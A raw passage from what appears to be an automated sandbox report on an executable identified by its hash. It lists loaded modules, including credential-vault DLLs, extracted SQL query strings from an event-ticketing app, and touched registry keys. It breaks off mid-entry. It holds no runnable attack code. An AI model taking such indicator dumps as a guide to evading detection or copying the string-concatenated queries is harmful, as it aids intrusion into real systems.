"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 6ea90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73850000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6e9f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 74d80000 "powershell.exe" loaded module "USERENV.DLL" at base 6f030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 755b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6e990000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6e970000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74d80000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6e940000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6e7e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e5b0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6e5b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\URLMON.DLL" at base 0 "powershell.exe" loaded module "URLMON.DLL" at base 73690000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "MSISO.DLL" at base 6e4e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6e430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 73120000 "powershell.exe" loaded module "OLEAUT32" at base 73e40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 76970000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6e040000 "powershell.exe" loaded module "MI.DLL" at base 6e020000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6df90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 719e0000 "powershell.exe" loaded module "GDI32.DLL" at base 74e50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 719d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f0c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 750c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 74d80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76c60000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 71760000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 719e0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 716d0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 719d0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f0c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "SXS.DLL" at base 71640000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "OLEAUT32.DLL" at base 73e40000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\CUSTOMMARSHALERS\V4.0_4.0.0.0__B03F5F7F11D50A3A\CUSTOMMARSHALERS.DLL" at base 71620000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6f090000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "OLEAUT32" at base 73e40000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.SECURITY\V4.0_4.0.0.0__B03F5F7F11D50A3A\CRYPT32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "CRYPT32.DLL" at base 76a30000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "C:\VAULTCLI.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "VAULTCLI.DLL" at base 6ef40000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "RASAPI32.DLL" at base 6e700000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "RASMAN.DLL" at base 6e6d0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "WS2_32.DLL" at base 74560000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73050000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "WINHTTP.DLL" at base 6e5e0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e580000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "IPHLPAPI.DLL" at base 73cc0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6e590000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6e540000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "SECUR32.DLL" at base 6eab0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6e0f0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "MSKEYPROTECT.DLL" at base 6e0e0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6e070000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRCOMPRESSION.DLL" at base 6e050000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "USER32" at base 74380000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "COMCTL32.DLL" at base 6dec0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "C:\EE57B6FA1E5A3C5EF776B79F32820327BCB3FE1974EEDDF65C0EB56131193397.EXE" at base 40000037:T1712,"Select * From Tbl_Duyurular" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_duyurular") "Select * From Tbl_Etkinlikler" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler") "update Tbl_Kullanicilar set KullaniciAd = @p1, KullaniciSoyad = @p2, KullaniciTelefon = @p3, KullaniciSifre = @p4, kullaniciCinsiyet = @p5 where KullaniciMail = @p6" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_kullanicilar set kullaniciad = @p1, kullanicisoyad = @p2, kullanicitelefon = @p3, kullanicisifre = @p4, kullanicicinsiyet = @p5 where kullanicimail = @p6") "Select * from Tbl_Alanlar" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_alanlar") "insert into Tbl_Alanlar (AlanAd) values (@a1)" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "insert into tbl_alanlar (alanad) values (@a1)"), "Delete From Tbl_Alanlar where AlanID=@b1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "delete from tbl_alanlar where alanid=@b1"), "update Tbl_Alanlar set AlanAd=@x1 where AlanID=@x2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_alanlar set alanad=@x1 where alanid=@x2"), "Select * From Tbl_Moderatorler where ModeratorTC = @p1 and ModeratorSifre = @p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_moderatorler where moderatortc = @p1 and moderatorsifre = @p2"), "Select * From Tbl_Sirketler" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler"), "Select AlanAd from Tbl_Alanlar" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select alanad from tbl_alanlar"), "Update Tbl_Sirketler set SirketAd=@p1 SirketAlan=@p2 SirketSifre=@p3 SirketMail=@p5 where SirketID=@p4" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_sirketler set sirketad=@p1 sirketalan=@p2 sirketsifre=@p3 sirketmail=@p5 where sirketid=@p4"), "Select * From Tbl_Sirketler where SirketID=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler where sirketid=@p1"), "Select SirketAd SirketBakiye SirketID From Tbl_Sirketler where SirketMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select sirketad sirketbakiye sirketid from tbl_sirketler where sirketmail=@p1"), "Select * From Tbl_Etkinlikler where EtkinlikSirket='" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler where etkinliksirket='"), "Update Tbl_Etkinlikler set EtkinlikAd=@e2 EtkinlikAlan=@e3 EtkinlikTarih=@e4 EtkinlikSaat=@e5 EtkinlikSehir=@e6 EtkinlikUcret=@e7 EtkinlikKapasite=@e8 EtkinlikSatisSayisi=@e9 EtkinlikResim=@e10 where EtkinlikID=@e1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_etkinlikler set etkinlikad=@e2 etkinlikalan=@e3 etkinliktarih=@e4 etkinliksaat=@e5 etkinliksehir=@e6 etkinlikucret=@e7 etkinlikkapasite=@e8 etkinliksatissayisi=@e9 etkinlikresim=@e10 where etkinlikid=@e1"), "Select distinct (EtkinlikSehir) From Tbl_Etkinlikler where EtkinlikSirket=@parameter and EtkinlikDurum=0" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select distinct (etkinliksehir) from tbl_etkinlikler where etkinliksirket=@parameter and etkinlikdurum=0"), "Select * From Tbl_Etkinlikler where EtkinlikAlan ='" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler where etkinlikalan ='"), "Update Tbl_Etkinlikler set EtkinlikSatisSayisi=@p1 where EtkinlikID= @p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_etkinlikler set etkinliksatissayisi=@p1 where etkinlikid= @p2"), "Select KullaniciBakiye KullaniciID From Tbl_Kullanicilar where KullaniciMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select kullanicibakiye kullaniciid from tbl_kullanicilar where kullanicimail=@p1"), "Select SirketBakiye From Tbl_Sirketler where SirketAd=@y1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select sirketbakiye from tbl_sirketler where sirketad=@y1"), "Update Tbl_Sirketler set SirketBakiye=@l1 where SirketAd=@l2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_sirketler set sirketbakiye=@l1 where sirketad=@l2"), "Select * From Tbl_Kullanicilar where KullaniciMail=@p1 and KullaniciSifre=@p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_kullanicilar where kullanicimail=@p1 and kullanicisifre=@p2"), "Select KullaniciBakiye KullaniciSifre From Tbl_Kullanicilar where KullaniciMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select kullanicibakiye kullanicisifre from tbl_kullanicilar where kullanicimail=@p1"), "Select * From Tbl_Sirketler where SirketMail=@p1 and SirketSifre=@p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler where sirketmail=@p1 and sirketsifre=@p2"), "Select KullaniciAdSoyad EtkinlikAd BiletSayisi ToplamFiyat EtkinlikID From Tbl_Biletler where KullaniciID='" (Source: 600000a-FrmKullaniciBiletlerim~FrmKullaniciBiletlerim_Load, Indicator: "select kullaniciadsoyad,etkinlikad,biletsayisi,toplamfiyat, etkinlikid from tbl_biletler where kullaniciid='")38:T1fd5,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\PROGID") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\PROGID") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\PROGID") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM 